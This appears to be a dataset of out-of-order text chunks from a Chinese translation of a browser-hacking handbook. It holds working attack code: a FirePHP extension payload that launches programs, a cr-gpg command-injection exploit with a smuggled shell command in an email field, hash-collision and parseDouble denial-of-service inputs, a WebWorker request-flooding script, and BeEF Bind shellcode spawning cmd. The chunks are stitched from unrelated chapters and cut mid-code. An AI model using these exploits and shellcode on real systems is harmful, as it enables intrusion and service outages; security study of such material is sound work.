(Components.interfaces.nsILocalFile);lFile.initWithPath (\\\"/Applications/Calculator.app/Contents/MacOS/Calculator\\\");var process= Components.classes[\\\"@mozilla.org/process/util;1\\\"] .createInstance(Components.interfaces.nsIProcess);process.init(lFile); process.run(true,[],0);void(0);<\\/script>\":\"PWND}}| 这次利用还需要一步。"},
    {"text": "通过更新长度并使用下面的字符串作为 lFile.initWithPath 调用的参数，也可以在Windows上实现同样的扩展利用： \"C:\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\system32\\\\\\\\\\\\\\\\calc.exe\\\" 这个漏洞可以在安装了Firefox上的任何操作系统上被利用。"},
    {"text": "FirePHP的开发者已经修复了该漏洞，补丁在这里： https://github.com/firephp/firephp-extension/commit/fccab466cd-5f014c36082d76ae300f2cd612ba51 。"},
    {"text": "以下清单文件中声明的二进制文件，会在插件调用gpg时用到： \"plugins\": [ {\"path\": \"gmailGPG.plugin\" }, {\"path\": \"gmailGPG.dll\"}, {\"path\": \"gmailGPG.so\"} ], Kotowicz 45 在这个扩展的0.7.4版中，发现了一个命令注入漏洞 46 ，这个漏洞是探索命令注入漏洞的一个很好的例子。"},
    {"text": "45 Krzysztof Kotowicz. (2012). Owning a system through a Chrome extension--cr-gpg 0.7.4 vulns . Retrieved November 30, 2013 from http://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html 46 Thinkst. (2013). Cr-gpg . Retrieved November 30, 2013 from http://thinkst.com/tools/cr-gpg/ 首先，要找到适当的攻击方法，获得对扩展的控制权，然后再看一看能对它做什么。"},
    {"text": "在解密后的邮件出现时，该扩展执行如下代码 47 ： 47 Jameel Haffejee. (2011). Cr-gpg: content_script.js . Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/chromeExtension/content_script.js#L29 $($(messageElement).children()[0]).html(tempMessage); 这行代码在http://mail.google.com/和https://mail.google.com/源中，引入并保存了一个XSS漏洞 48 。"},
    {"text": "48 Jameel Haffejee. (2011). Cr-gpg: manifest.json . Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/chromeExtension/manifest.json#L19 这种漏洞并不存在于Web应用中。"},
    {"text": "gmailGPG.dll使用的下面的C++代码，利用了可执行文件gpg.exe 49 ： 49 Jameel Haffejee. (2011). Cr-gpg: gmailGPGAPI.cpp . Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/gmailGPG/windows/gmailGPGAPI.cpp#L129 // 针对已有的收件人列表加密消息 FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients, const FB::variant& msg) { string tempFileLocation = m_tempPath + \"errorMessage.txt\"; string tempOutputLocation = m_tempPath + \"outputMessage.txt\"; string gpgFileLocation = \"\\\"\"+m_appPath +\"gpg.exe\\\" \"; vector<string> peopleToSendTo = recipients.convert_cast<vector<string> >(); string cmd = \"c:\\\\windows\\\\system32\\\\cmd.exe /c \"; cmd.append(gpgFileLocation); cmd.append(\"-e --armor\"); cmd.append(\" --trust-model=always\"); for (unsigned int i = 0; i < peopleToSendTo.size(); i++) { cmd.append(\" -r\"); cmd.append(peopleToSendTo.at(i)); } cmd.append(\" --output \"); cmd.append(tempOutputLocation); cmd.append(\" 2>\"); cmd.append(tempFileLocation); sendMessageToCommand(cmd,msg.convert_cast<string>()); <snip> } 这一段代码中包含命令注入漏洞。"},
    {"text": "结果的命令行是： gpg -e --armor --trust-model=always -r <recipient> --output out.txt 2>err.txt 接下来需要与NPAPI插件通信，以成功发起操作系统命令注入攻击。"},
    {"text": "以下代码展示了后台页面是如何实现这个过程的： 50 Jameel Haffejee. (2011). Cr-gpg: background.html . Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/chromeExtension/background.html#L5 <object id=\"plugin0\" type=\"application/x-gmailgpg\"></object><br /> <script> var alerted = false; function plugin0() { return document.getElementById('plugin0'); } var testSettings = function(){ }; chrome.extension.onRequest.addListener( function(request, sender, sendResponse) { var gpgPath = localStorage['gpgPath']; var tempPath = localStorage['tempPath']; if(!gpgPath){ gpgPath = '/opt/local/bin/'; }; if(!tempPath){ tempPath = '/tmp/'; }; plugin0().appPath = gpgPath; plugin0().tempPath = tempPath; if (request.messageType == 'encrypt'){ var mailList = request.encrypt.maillist; if( localStorage[\"useAutoInclude\"] && localStorage[\"useAutoInclude\"] != 'false'){ mailList.push(localStorage[\"personaladdress\"]); } var mailMessage = request.encrypt.message; sendResponse({message: plugin0().encrypt(mailList,mailMessage), domid:request.encrypt.domel}); }else if(request.messageType == 'sign'){ 这段代码还在后台页面中添加了监听器，将由内容脚本传入消息时使用。"},
    {"text": "gmailGPGAPI.cpp文件中有一个映射，告诉插件应该与JavaScript共享哪一个函数： gmailGPGAPI::gmailGPGAPI(const gmailGPGPtr& plugin, const FB::BrowserHostPtr& host) : m_plugin(plugin), m_host(host) { registerMethod(\"encrypt\", make_method(this, &gmailGPGAPI::encryptMessage)); registerMethod(\"decrypt\", make_method(this, &gmailGPGAPI::decryptMessage)); 下面我们把这些都串在一起，发起一次命令注入攻击。"},
    {"text": "以下代码改编自一个公开披露的利用 51 ： 51 Krzysztof Kotowicz. (2012). Cr-gpg exploit . Retrieved November 30, 2013 from https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/cr-gpg/exploit.js windows_command ='%SystemRoot%\\\\system32\\\\calc.exe'; linux_command ='touch /tmp/bhh'; command = windows_command; if (navigator.platform.indexOf('Win') !== -1) { var nul = \"nul\"; var cmdsep = '&'; var cmdpref = \" start /min \"; } else { var nul = \"/dev/null\"; var cmdsep = ';'; var cmdpref = \"\"; }; chrome.extension.sendRequest({ 'messageType':'encrypt',encrypt:{ 'message':'Brower Hacker's Handbook', 'domel':'', 'maillist':['wade@browserhacker.com --no-auto-key-locate >' + nul + cmdsep + cmdpref + command + cmdsep + ‘echo ‘ ] } }); 把这段代码加密并发送给目标之后，只要使用cr-gpg扩展解密就会执行。"},
    {"text": "于是就会调用如下操作系统命令： gpg -e --armor --trust-model=always -r wade@browserhacker.com --no-auto-key-locate >nul& start /min %SystemRoot%\\system32\\calc. exe&echo --output out.txt 2>err.txt 这个命令会因为脚本执行而执行。"},
    {"text": "可悲的是，很多以上述语言开发的Web应用框架都有一个共同的特点：它们都会在解析完原始HTTP请求之后，把响应首部和响应体存储在一个散列对象中。"},
    {"text": "30 n.runs AG. (2011). Denial of Service through hash table multi-collisions . Retrieved June 15, 2013 from https://www.nruns.com/_downloads/advisory28122011.pdf 按照设计，散列表不能包含重复的键，而在插入 N 个具有相同碰撞键的情况下，算法复杂度会变成 O(N^2) 。"},
    {"text": "下面我们通过一段Java代码，来看看如何发起这种攻击： public class HashCode{ public static void main(String[] args){ String a = \"Aa\"; String b = \"BB\"; String c = \"AaBBBBAa\"; String d = \"BBAaAaBB\"; System.out.println(\"Hash code for \"+a+\":\" + a.hashCode()); System.out.println(\"Hash code for \"+b+\":\" + b.hashCode()); System.out.println(\"Hash code for \"+c+\":\" + a.hashCode()); System.out.println(\"Hash code for \"+d+\":\" + b.hashCode()); } } 如果运行上面的代码，它会对四个不同的字符串都返回相同的散列值：2112。"},
    {"text": "31 Fortify. (2012). Web Server DoS by Hash Collision . Retrieved June 15, 2013 from http://web.archive.org/web/20120120043647/ http://blog.fortify.com/blog/Vulnerabilities-Breaches/2012/01/04/Web-Server-DoS-by-Hash-Collision 利用很多Web应用框架在解析原始HTTP请求后，会把数据存储在散列表中的事实，可以提交一个POST请求，然后在请求体中将参数的键设置为冲突的，比如： Aa=Aa&BB=BB&AaBBBBAa=AaBBBBAa&BBAaAaBB=BBAaAaBB&[...] 这个例子是不是很有意思？"},
    {"text": "2. Function parseDouble() DoS 2011年，Rick Regan和Konstantin Preißer发现 32 ，Java 1.5到Java 1.6u22，以及PHP 5.2和PHP 5.3，在将字符串转换成双精度浮点数（Java中的Double对象）时，会出现DoS漏洞。"},
    {"text": "如果Web应用使用了有风险的代码，比如 Double.parseDouble(request.getParameter(\"id\")); ，而恰好 id 参数的值是 2.2250738585072012e-308 或者 0.022250738585072012e-00306 ，这段代码就会无限循环。"},
    {"text": "32 R. Regan. (2011). Java Hangs When Converting 2.2250738585072012e-308 . Retrieved October 8, 2013 from http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/ 通过勾连浏览器跨域发动这种攻击，简直是小菜一碟。"},
    {"text": "require 'rubygems' require 'thin' require 'rack' require 'sinatra' require 'cgi' require 'mysql' class Books < Sinatra::Base post \"/\" do author = params[:author] name = params[:name] db = Mysql.new('127.0.0.1', 'root', 'toor', 'books') statement = db.prepare \"insert into books (name,author) \\ values (?,?);\" statement.execute name, author statement.close \"INSERT successful\" end get \"/\" do book_id = params[:book_id] db = Mysql.new('127.0.0.1', 'root', 'toor', 'books') statement = db.prepare \"select a.author, a.address, b.name \\ from author a, books b where a.author = b.author\" statement.execute result = \"\" statement.each do |item| result += CGI::escapeHTML(item.inspect)+\"<br>\" end statement.close result end end @routes = { \"/books\" => Books.new, } @rack_app = Rack::URLMap.new(@routes) @thin = Thin::Server.new(\"172.16.37.150\", 80, @rack_app) Thin::Logging.silent = true Thin::Logging.debug = false puts \"[#{Time.now}] Thin ready\" @thin.start 光看代码，你可能就会发现应用的痛点了。"},
    {"text": "要启动一个WebWorker任务，可以使用以下代码： var worker = new Worker('http://browserhacker.com/worker.js'); worker.onmessage = function (oEvent) { console.log('WebWorker says: '+oEvent.data); }; var data = {}; data['url'] = url; data['delay'] = delay; data['method'] = method; data['post_data'] = post_data; /* 把配置发给WebWorke */ worker.postMessage(data); 这里的 postMessage() 用于在运行JavaScript勾连代码的DOM与WebWorker之间共享数据。 WebWorker的代码可以像下面这样写： var url = \"\"; var delay = 0; var method = \"\"; var post_data = \"\"; var counter = 0; /* 通过postMessage取得数据 */ onmessage = function (oEvent) { url = oEvent.data['url']; delay = oEvent.data['delay']; method = oEvent.data['method']; post_data = oEvent.data['post_data']; doRequest(); }; /* 给URL添加随机参数，避免缓存 */ function noCache(u){ var result = \"\"; if(u.indexOf(\"?\") > 0){ result = \"&\" + Date.now() + Math.random(); }else{ result = \"?\" + Date.now() + Math.random(); } return result; } /* 每delay毫秒发送一次POST或GET请求 */ function doRequest(){ setInterval(function(){ var xhr = new XMLHttpRequest(); xhr.open(method, url + noCache(url)); xhr.setRequestHeader('Accept','*/*'); xhr.setRequestHeader(\"Accept-Language\", \"en\"); if(method == \"POST\"){ xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.send(post_data); }else{ xhr.send(null); } counter++; },delay); /* 每10秒通知一次调用者发送了多少请求 */ setInterval(function(){ postMessage(\"Requests sent: \" + counter); },10000); } 如果你把这段代码注入两个不同的勾连浏览器，让它们都向本节前面的那个Ruby Web应用发送请求，就会看到资源占用逐渐增加。"},
    {"text": "图 9-34 正常的系统负载 使用前面的JavaScript代码启用WebWorker之后，可以看到负载稍微增加了一些，如图9-35所示。 图 9-35 使用一个勾连浏览器时的系统负载 在另一个勾连浏览器中启用另一个WebWorker，每10毫秒发送一个POST请求之后，可以通过图9-36看到系统负载明显的变化。"},
    {"text": "图 9-36 使用两个勾连浏览器时的系统负载 在找到类似的Web应用痛点后，不一定非要通过数据库操作，通过上传文件也可以轻易对任何Web应用制造DoS风暴。 如果你手中控制了多个勾连浏览器，那么相应的DoS攻击后果会更加严重，而且你可以让多个勾连浏览器都指向同一个目标，让每一秒钟的并发请求数量激增。"},
    {"text": "Unknown 第 11 章 结语：最后的思考 事实很明显，既然你挑了一本讲浏览器黑客攻防的书来看，那就说明你跟我们一样，都认识到了浏览器使用得有多广泛。现在，手机、汽车、轮船、飞机甚至国际空间站上都有浏览器！没错，平常得不能再平常的浏览器（连同HTML、JavaScript和DOM）已经浪迹到了我们这个星球之外，随行的还有它的安全隐患。 浏览器安全的挑战不会在短时间内消失，此消彼涨的攻防大战仍会持续。新的浏览器特性会不断涌现，不断超越以往“史上最棒”的特性。新的攻击手段来了又走。双方都会犯愚蠢的错误，别忘了，我们都是人啊！ 早就有人讲过，计算机安全的头号问题就是默认许可（default permit） 1 ，也就是除非明确禁止，否则任何请求都是被许可的。一直以来，浏览器始终在坚持这个原则。本书从头到尾介绍了很多在特性的初始版本发布之后才追加的各种安全补丁。这已经导致了浏览器一直在做亡羊补牢的事情。 1 http://www.ranum.com/security/computer_security/editorials/dumb/ 浏览器的发展最终由两条战线掌控着。 (1) 浏览器开发商为争取市场份额，拼特性、拼体验、拼效用、拼速度、拼全能。 (2) 浏览器开发者不断创造出新的防范措施，黑客不断攻克这些壁垒并发现新漏洞。 这两条战线之间潜移默化地存在各种联系。不断增长的新特性和新功能导致浏览器的复杂性不断提高，可被攻击的范围也越来越大，于是第二条战线的战场也不断扩大。当然，安全与功能之间还有一条相反的暗线，那就是废除默认许可，代之以 默认拒绝 （default deny）。如果继续坚持默认许可，那随着新功能的引入，产生新的安全漏洞是无法避免的。新漏洞出现就要求在发现攻击方法时寻求事后补救，于是猫捉老鼠的游戏永远不会谢幕。 即使是在应用了默认拒绝规则的场景下，也不可能在白名单中列出所有可能的允许情形。只要存在对灵活性的要求，那么组件交互行为的排列组合就会增加。而这相应地就会扩大浏览器对服务器以及其他外部资源的信任度。 鉴于目前开发人员已经十分注重安全，可利用的情况或许会有所减少。表现在投入相同的努力发现漏洞的速度会降低。不管怎么样，任何新的安全防范措施都会因为新功能的复杂性而受到攻击者的挑战。另外，如果浏览器还会继续扩展它的装机范围，那么黑客尝试在扩大后的浏览器领地上施展才华的努力也会随之增加。 现场测试是无法代替的，因为浏览器的使用越来越广泛，而且用途也越来越多。于是一个很难改变的事实摆在面前：被作为攻击目标的核心浏览器的功能、插件或组件的数量将持续增加。开发者可能会想方设法在发布前模拟攻击（渗透测试），或者提高开发过程的安全性，以此作为对抗。但相对于各种排列组合、各种可能的情况以及各种可能的人类创意，这些对抗措施仍然做不到万无一失。 有一点是肯定的：如果想让这场猫捉老鼠的游戏不再那么惨烈，那就必须从一开始设计起即把安全放在第一位。新的浏览器特性如果想在斗争中幸存下来，那就必须从头到尾重视安全。 在可预见的未来，身处任何发达地区，你周围浏览器的数量都很可能比周围的人要多。不断重演的人类历史表明：胜者为王。对浏览器来说，现在还只是开始。但愿本书已经让你对下一步该做什么有了充分的理解。让我们携起手来，共同创造一个更加值得依赖的、安全的互联网。"},
    {"text": "13 James Fisher. (2013). DirBuster Project . Retrieved June 15, 2013 from https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project XSRF保护措施有一个副作用，那就是会降低跨域资源检测的可靠性。"},
    {"text": "在当前勾连的页面中，可以使用如下代码，枚举同源和跨域的链接以及表单动作： // 找到当前页面中所有href和表单action，枚举所有action属性，并检查资源是否同源 function getFormActions(doc){ var formsarray = []; var forms = doc.getElementsByTagName(\"form\"); for next section.(var i=0; i < forms.length; i++){ var action = forms[i].getAttribute('action'); formsarray = formsarray.concat(action); // 枚举a元素：这样isSameOrigin()对a和form的调用方式一样 var a = doc.createElement('a'); a.href = action; console.log(\"Discovered form action: \" + action + \". SameOrigin: \" + isSameOrigin(a)); } return formsarray; } // 找到当前页面中所有a元素枚举href属性，检查资源是否同源 function getLinks(doc){ var linksarray = []; var links = doc.links; for(var i=0; i<links.length; i++) { var link = links[i]; linksarray = linksarray.concat(link) console.log(\"Discovered link: \" + link.href + \". SameOrigin: \" + isSameOrigin(link)); }; return linksarray; } // 检查协议、主机名和端口 function isSameOrigin(url){ var sameOrigin = false; if(url.hostname.toString() === location.hostname.toString() && url.port === location.port && url.protocol === location.protocol){ sameOrigin = true; } return sameOrigin; } getLinks(document); getFormActions(document); 前面的代码使用 getLinks() 函数获得当前文档中所有的 a 元素，然后调用 isSameOrigin() 函数检测发现的资源是同源还是跨域。"},
    {"text": "因为 isSameOrigin() 只检测 a 元素，为了对链接和表单使用同样的函数，所以要使用 form action 的值动态创建一个 a 元素： var action = forms[i].getAttribute('action'); // 模仿a元素：这样一来，对于a元素和form元素，isSameOrigin()都可以以同样的方式被调用 var a = doc.createElement('a'); a.href = action; console.log(\"Discovered form action: \" + action + \". SameOrigin: \" + isSameOrigin(a)); 图9-10展示了在包含如下内容的测试页面http://localhost/text.html上，执行前面代码的结果： <html><body> <a href=\"http://www.beefproject.com\">BeEF Project</a><br /> <a href=\"http://ha.ckers.org/\">ha.ckers.org </a><br /> <a href=\"http://localhost:8080/login\">Login</a><br /> <a href=\"/demos/butcher/index.html\">BeEF hook</a><br /> <form action=\"http://browserhacker.com\"></form> <form action=\"//browserhacker.com:9090/login\"></form> <form action=\"/login\"></form> </body></html> 图 9-10 识别跨域资源 再进一步，可以迭代 getLinks() 和 getFormActions() 函数返回的数组，取得以XHR调用形式发送的同源资源。"},
    {"text": "在找到这些资源后，可以通过XHR响应内容创建一个新的Document对象，然后再调用这两个函数枚举来自那些新同源资源中的链接和表单。 假设要取得同源资源/demos/butcher/index.html的内容，可以使用如下代码： var xhr = new XMLHttpRequest(); xhr.open(\"GET\", \"/demos/butcher/index.html\"); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { try{ // 从XHR响应创建一个新的Document对象 var doc = new DOMParser().parseFromString( xhr.responseText, \"text/html\" ); getLinks(doc); getFormActions(doc); }catch(e){} } } xhr.send(); 这段代码在基于XHR响应创建的新Document对象上（包含在 doc 变量中），调用了 getLinks() 和 getFormActions() 。"},
    {"text": "对于Chrome和Safari等不支持 parseFromString() 的浏览器，使用 text/html 作为输入参数，可以使用Eli Grey的下面这个polyfill 15 ，来覆盖 parseFromString() 的原型： 14 Mozilla Developer Network. (2013). DOMParser . Retrieved June 15, 2013 from https://developer.mozilla.org/en-US/docs/Web/API/DOMParser 15 Eli Gray. (2012). DOMParser HTML extension . Retrieved June 15, 2013 from https://gist.github.com/eligrey/1129031 (function(DOMParser) { \"use strict\"; var DOMParser_proto = DOMParser.prototype , real_parseFromString = DOMParser_proto.parseFromString; // Firefox/Opera/IE在不支持的类型上抛出错误 try { // WebKit在不支持的类型上返回null if ((new DOMParser).parseFromString(\"\", \"text/html\")) { // text/html解析方法是被原生支持的 return; } } catch (ex) {} DOMParser_proto.parseFromString = function(markup, type) { if (/^\\s*text\\/html\\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createHTMLDocument(\"\") , doc_elt = doc.documentElement , first_elt; doc_elt.innerHTML = markup; first_elt = doc_elt.firstElementChild; if (doc_elt.childElementCount === 1 && first_elt.localName.toLowerCase() === \"html\") { doc.replaceChild(first_elt, doc_elt); } return doc; } else { return real_parseFromString.apply(this, arguments); } }; }(DOMParser)); 有了上面的代码，就可以在当前勾连的页面中枚举同源和跨域资源，而且还可以枚举新发现的同源资源。"},
    {"text": "Unknown 2.3 小结 本章主要关注的是利用浏览器的信任入侵时面临的第一道障碍。虽然我们想尽力全面地展示各种向浏览器注入恶意代码的方式，但没有一种方法介绍得非常详细。浏览器一直在进步，而互联网的快速发展，以及所有攻击技术都能在网上找到，只是导致这个攻击面不断变化的两个主要因素。 我们探索了不同的方法，每种方法只关注实现控制浏览器这个目标的主要手段及技术。而当你打开这扇安全门之后，会惊讶地发现原来浏览器能够提供给你那么多的信息。 当然，执行初始化指令只是你必须跨越的两个重要障碍中的一个。另一个要跨越的障碍就是想方设法保持与入侵浏览器的通信渠道畅通。攻击浏览器过程中的下一步都有哪些内容需要了解？下一章将为你揭晓。 Unknown 10.4 采集非HTTP服务的指纹 采集非HTTP服务的指纹与采集Web应用的指纹区别很大。第9章讨论过，检测Web应用相对比较容易。浏览器可以使用标准的HTTP请求来取得资源，然后你可以根据返回的资源，推断它是什么类型的Web应用。 然而，采集Web界面指纹的技术却不能照搬到非HTTP服务。因为非HTTP服务通常不会暴露已知的资源，比如图片或页面，这些都可以跨域识别并确认。由于这种限制，通过浏览器采集非HTTP服务指纹的结果一般都不太可靠。好在我们可以使用一些技术来辅助从多个侧面来增进对目标服务的了解。 第一种技术就是分析本章开头介绍的端口扫描的结果。如果TCP端口6667出现了，那么根据默认的端口号分配规则，可以推断它是一个IRC服务。如果找到了TCP 5900，那么可以假设它是一个VNC服务。当然，监听相同端口的服务可能会有不同的实现。为此，我们必须进一步提高确定性，以针对目标发起适当的利用。 为了进一步确认假设，甚至进一步区分不同的VNC监听应用，可以分析请求的时间。这是采集非HTTP服务指纹的第二种方法。Mark Lowe最早使用FTP协议，演示了这种如何实现这一技术 18 。而我们这里会使用HTTP。 18 Mark Lowe. (2007). Manipulating FTP Clients Using The PASV Command . Retrieved October 29, 2013 from http://bindshell.net/papers/ftppasv/ftp-client-pasv-manipulation.pdf 首先要分析服务请求关闭TCP连接所耗费的时间，也就是监控 XMLHttpRequest 对象的状态什么时候等于4（完成） 19 。但仅通过分析时间差很难区分版本，比如UltraVNC 1.0.9和1.1.9，因为时间差（如果有的话）会非常非常小。但检测不同的实现，比如UltraVNC和TightVNC，倒不是没有可能。可以从以下代码开始： 19 W3C. (2013). XMLHttpRequest states . Retrieved October 29, 2013 from http://www.w3.org/TR/XMLHttp-Request/#states var target = \"172.16.37.151\"; var port = 5900; var count = 1; var time = 0; function doRequest(){ if(count <= 3){ var xhr = new XMLHttpRequest(); var port = 5900; xhr.open(\"POST\", \"http://\" + target + \":\" + port + \"/\" + Math.random()); var start = new Date().getTime(); xhr.send(\"foo\"); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var end = new Date().getTime(); console.log(\"DONE in \" + (end-start) + \" ms\"); count++; time += end-start; doRequest(); } } }else{ console.log(\"COMPLETED. Average: \" + time/3); } } doRequest(); 以上代码会向同一个目标端口（5900）发送3个XHR请求，然后监控服务多长时间后关闭相应的连接。最后，计算一下所有连接关闭的平均时间。图10-10展示了针对TightVNC 2.7.1的代码，图10-11展示了对UltraVNC 1.1.9实施的相同测试。 图 10-10 采集TightVNC指纹 图 10-11 采集UltraVNC指纹 从这两张图可以看到，TightVNC的平均关闭时间为15毫秒，而UltraVNC是20毫秒。这个例子非常简单，但实际上很多服务要花费更长的时间。 第三个采集指纹的方法是实现IPC（Inter-protocol Communication，协议间通信）请求。比如，如果浏览器可以建立一个双向信道监听Telnet服务，那它就能够看到Telnet服务的首部。在后面的几节中，我们会深入讨论这些方法。在可以实现IPC的情况下，特别是可以双向通信的情况下，采集指纹会非常方便。 Unknown 第 8 章 攻击插件 虽然浏览器主要负责渲染网页，但总有很多情况需要播放影片或与三维模型交互。而要具备这些能力，甚至需要集成其他应用或编程语言，比如Microsoft Excel或Java，才能具备富交互内容与特性。这些额外的功能并不一定是浏览器开发商希望原生支持的，因此他们会提供一种方式，供应用开发者通过插件接口来实现这些功能。 插件接口将外部代码或应用绑定到浏览器，从而利用这些第三方插件执行更多任务。与任何应用一样，代码中存在的缺陷会导致信息泄露、代码执行，以及其他非预期的行为。 这一章，我们会介绍如何识别Acrobat Reader、Java和Flash等插件。识别插件后，就可以利用这些插件的已知漏洞，绕开浏览器的防御机制。最后，我们会讨论在利用插件攻击浏览器的基础上更进一步，即攻击操作系统的技术。"},
    {"text": "Unknown 第 7 章 攻击扩展 上一章探讨了直接攻击浏览器。这一章将沿着功能链条更进一步，展示如何攻击浏览器扩展。 浏览器扩展是一种选配的软件，可以为浏览器增加或减少功能。像杀毒软件公司或社交网络站点这些第三方，通常会给浏览器写一些扩展。这些扩展通常由用户自愿安装，但有时候也会随其他程序一起，在用户并不知道的情况下安装。 过去，浏览器扩展的开发并未考虑安全。有些扩展会访问敏感的用户信息，访问具有特权的API，甚至访问底层的操作系统。对安全和高权限的缺乏关注，导致扩展成为黑客攻击的理想目标。 浏览器扩展应用非常多，因此攻击面也比较大。按照漏洞分类的话，扩展之间的差别非常大，既有命令注入，也有由来已久的XSS。因此相应的利用技术也就有所区别。 对黑客来说，扩展会与加载的网页交互，因此也就创造了便捷的攻击通道。本章就以利用Firefox和Chrome扩展的漏洞为例，来介绍这些攻击通道。 Unknown 看完了 如果您对本书内容有疑问，可发邮件至contact@turingbook.com，会有编辑或作译者协助答疑。也可访问图灵社区，参与本书讨论。 如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@turingbook.com。 在这里可以找到我们： 微博 @图灵教育 : 好书、活动每日播报 微博 @图灵社区 : 电子书和好文章的消息 微博 @图灵新知 : 图灵教育的科普小组 微信 图灵访谈 : ituring_interview，讲述码农精彩人生 微信 图灵教育 : turingbooks 图灵社区会员 sh0jkm（1312243384@qq.com） 专享 尊重版权"},
    {"text": "Unknown 10.6 使用BeEF Bind控制shell 本章最后这一节会结合前面讨论的协议间通信以及利用的知识，介绍BeEF Bind （Wade Alcorn设想的一个概念）。 BeEF Bind是相对较小的绑定Shellcode，用于可以实施IPE攻击的Windows和Linux。"},
    {"text": "以下是Stager的汇编源码，注意这里没有给出Stephen Fewer的 block_bind_tcp.asm 代码，因为那是已经公开的代码，可以在Metasploit中找到 47 ： 47 Stephen Fewer. (2009). Block Bind TCP shellcode . Retrieved October 29, 2013 from https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm ;----------------------------------------------------------; ; Author: Ty Miller @ Threat Intelligence ; Compatible: Windows?7, 2008, Vista, ; 2003, XP, 2000, NT4 ; Version: 1.0 (2nd December 2011) ;----------------------------------------------------------; [BITS 32] ;INPUT: EBP is block_api. ; by here we will have performed the bind_tcp ; connection to setup our external web socket %include \"src/block_bind_tcp.asm\" ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the newly connected clients socket ; Clobbers: EAX, EBX, ESI, EDI, ESP will ; also be modified (-0x1A0) ;%include \"src/block_virtualalloc.asm\" ; Input: None ; Output: EAX holds pointer to the start of buffer 0x1000 ; bytes, EBX has value 0x1000 ; Clobbers: EAX, EBX, ECX, EDX ; Included here below: mov ebx,0x1000 ; setup our flags and buffer size in ebx ; Alloc a buffer for the request and response data allocate_memory: ; PAGE_EXECUTE_READWRITE - don't need execute but may as well push byte 0x40 push ebx ; MEM_COMMIT push ebx ; size of memory to be allocated (4096 bytes) push byte 0 ; NULL as we don't care where the allocation is push 0xE553A458 ; hash( \"kernel32.dll\", \"VirtualAlloc\" ) ; VirtualAlloc( NULL, dwLength, ; MEM_COMMIT, PAGE_EXECUTE_READWRITE ); call ebp ; save pointer to buffer since eax gets clobbered mov esi, eax ; Receive the web request containing the stage recv: push byte 0 ; flags push ebx ; allocated space for stage push eax ; start of our allocated command space push edi ; external socket push 0x5FC8D902 ; hash( \"ws2_32.dll\", \"recv\" ) call ebp ; recv( external_socket, buffer, size, 0 ); close_handle: push edi ; hObject: external socket push 0x528796C6 ; hash(kernel32.dll,CloseHandle) call ebp ; CloseHandle ; Search for \"cmd=\" in the web request for our payload find_cmd: cmp dword [esi], 0x3d646d63 ; check if ebx points to \"cmd=\" jz cmd_found ; if we found \"cmd=\" then parse the command inc esi ; point ebx to next char in request data jmp short find_cmd ; check next location for \"cmd=\" cmd_found: ; now pointing to start of our command ; add esi,4 ; starts off pointing at \"cmd=\" so add 3 ; (plus inc eax below) to point to command ; ... this compiles to 6 byte opcode db 0x83, 0xC6, 0x04 ; add esi,4 ... but only 3 byte opcode jmp esi ; jump to our stage payload 如果你不熟悉Shellcode，可以参考 The Shellcoder Hacker ' s Handbook , 2nd Edition 。"},
    {"text": "以下代码负责添加适当的HTTP响应头，特别是 Access-Control-Allow-Origin: *header ： response_headers: push esi ; save pointer to start of buffer lea edi,[esi+1048] ; set pointer to output buffer call get_headers ; locate the static http response headers db 'HTTP/1.1 200 OK', 0x0d, 0x0a, 'Content-Type: text/html', 0x0d,0x0a, 'Access-Control-Allow-Origin: *', 0x0d, 0x0a, 'Content-Length: 3016', 0x0d, 0x0a, 0x0d, 0x0a get_headers: pop esi ; get pointer to response headers into esi mov ecx, 98 ; length of http response headers rep movsb ; move the http headers into the buffer pop esi ; restore pointer to start of buffer 在绑定TCP端口和在内存中搜索 cmd= 时，Stager和Stage共享了相同的内部逻辑。"},
    {"text": "产生操作系统命令的Stager代码如下： [BITS 32] ; Input: ; EBP is api_call ; esp+00 child stdin read file descriptor (inherited) ; esp+04 not used ; esp+08 not used ; esp+12 child stdout write file descriptor (inherited) ; Output: None. ; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified shell: push 0x00646D63 ; push our command line: 'cmd',0 mov ebx, esp ; save a pointer to the command line push dword [esp+16] ; child stdout write file descriptor ; for process stderr push dword [esp+20] ; child stdout write file descriptor ; for process stdout push dword [esp+12] ; child stdin read file descriptor ; for process stdout xor esi, esi ; Clear ESI for all the NULL's we need to push push byte 18 ; We want to place (18 * 4) = 72 null ; bytes onto the stack pop ecx ; Set ECX for the loop push_loop: push esi ; push a null dword ; keep looping until we have pushed enough nulls loop push_loop ; Set the STARTUPINFO Structure's dwFlags ; to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW mov word [esp + 60], 0x0101 ; Set EAX as a pointer to STARTUPINFO Structure lea eax, [esp + 16] ; Set the size of the STARTUPINFO Structure mov byte [eax], 68 ; perform the call to CreateProcessA ; Push the pointer to the PROCESS_INFORMATION Structure push esp ; Push the pointer to the STARTUPINFO Structure push eax ; The lpCurrentDirectory is NULL so the new process ; will have the same current directory as its parent push esi ; The lpEnvironment is NULL so the new process will ; have the same enviroment as its parent push esi push esi ; We don't specify any dwCreationFlags inc esi ; Increment ESI to be one ; Set bInheritHandles to TRUE in order to inherit ; all possible handles from the parent push esi dec esi ; Decrement ESI back down to zero push esi ; Set lpThreadAttributes to NULL push esi ; Set lpProcessAttributes to NULL push ebx ; Set the lpCommandLine to point to \"cmd\",0 push esi ; Set lpApplicationName to NULL as we ; are using the command line param instead ; hash( \"kernel32.dll\", \"CreateProcessA\" ) push 0x863FCC79 ; CreateProcessA( 0, &\"cmd\", 0, 0, TRUE, 0, 0, 